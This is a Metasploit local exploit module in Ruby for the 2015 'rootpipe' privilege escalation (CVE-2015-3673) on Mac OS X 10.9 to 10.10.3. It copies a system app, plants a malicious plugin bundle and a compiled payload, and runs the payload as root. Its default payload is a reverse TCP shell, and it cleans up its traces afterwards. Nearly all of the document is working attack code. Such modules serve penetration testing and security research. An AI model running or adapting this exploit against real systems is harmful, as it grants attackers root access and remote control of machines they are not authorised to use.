Apple OS X Entitlements Rootpipe Privilege Escalation

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Local  
  
Rank = GreatRanking  
  
include Msf::Post::OSX::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apple OS X Entitlements Rootpipe Privilege Escalation',  
'Description' => %q{  
This module exploits the rootpipe vulnerability and bypasses Apple's initial  
fix for the issue by injecting code into a process with the 'admin.writeconfig'  
entitlement.  
},  
'Author' => [  
'Emil Kvarnhammar', # Vulnerability discovery and PoC  
'joev' # Copy/paste monkey  
],  
'References' => [  
['CVE', '2015-3673'],  
['URL', 'https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again/']  
],  
'DisclosureDate' => 'Jul 1 2015',  
'License' => MSF_LICENSE,  
'Platform' => 'osx',  
'Arch' => ARCH_X86_64,  
'SessionTypes' => ['shell'],  
'Privileged' => true,  
'Targets' => [  
['Mac OS X 10.9-10.10.3', {}]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',  
'PrependSetreuid' => true  
}  
))  
  
register_options([  
OptString.new('WRITABLEDIR', [true, 'Writable directory', '/.Trashes'])  
])  
end  
  
def check  
if ver? && admin?  
vprint_status("Version is between 10.9 and 10.10.3, and is admin.")  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
print_status("Copying Directory Utility.app to #{new_app}")  
cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'")  
cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'")  
  
print_status("Writing bundle plist to `#{plist_file}'")  
write_file(plist_file, plist)  
  
print_status("Writing payload to `#{payload_file}'")  
write_file(payload_file, binary_payload)  
register_file_for_cleanup(payload_file)  
  
print_status("Writing malicious shared library to `#{exploit_file}'")  
write_file(exploit_file, plugin_exploit)  
  
print_status("Running Directory Utility.app")  
cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\\ Utility'")  
  
print_status("Deleting Directory Utility.app")  
cmd_exec('rm -Rf "#{new_app}"')  
  
print_status('Executing payload...')  
cmd_exec("/bin/sh -c '#{root_file} &'")  
end  
  
def ver?  
Gem::Version.new(get_sysinfo['ProductVersion']).between?(  
Gem::Version.new('10.9'), Gem::Version.new('10.10.3')  
)  
end  
  
def admin?  
cmd_exec('groups | grep -wq admin && echo true') == 'true'  
end  
  
def sploit  
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"  
end  
  
def plugin_exploit  
File.read(File.join(  
Msf::Config.data_directory, 'exploits', 'CVE-2015-3673', 'exploit.daplug'  
))  
end  
  
def binary_payload  
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)  
end  
  
def exploit_file  
"#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle"  
end  
  
def plist_file  
"#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist"  
end  
  
def new_app  
@app ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}.app"  
end  
  
def plist  
%Q|  
<?xml version="1.0" encoding="UTF-8"?>  
<plist version="1.0">  
<dict>  
<key>CFBundleGetInfoString</key>  
<string>RootpipeBundle</string>  
<key>CFBundleExecutable</key>  
<string>RootpipeBundle</string>  
<key>CFBundleIdentifier</key>  
<string>com.root.pipe</string>  
<key>CFBundleName</key>  
<string>RootpipeBundle</string>  
<key>CFBundleShortVersionString</key>  
<string>0.01</string>  
<key>CFBundleInfoDictionaryVersion</key>  
<string>6.0</string>  
<key>CFBundlePackageType</key>  
<string>APPL</string>  
<key>IFMajorVersion</key>  
<integer>0</integer>  
<key>IFMinorVersion</key>  
<integer>1</integer>  
</dict>  
</plist>  
|  
end  
  
def payload_file  
@payload_file ||=  
"#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"  
end  
  
def root_file  
@root_file ||=  
"#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"  
end  
  
end  
`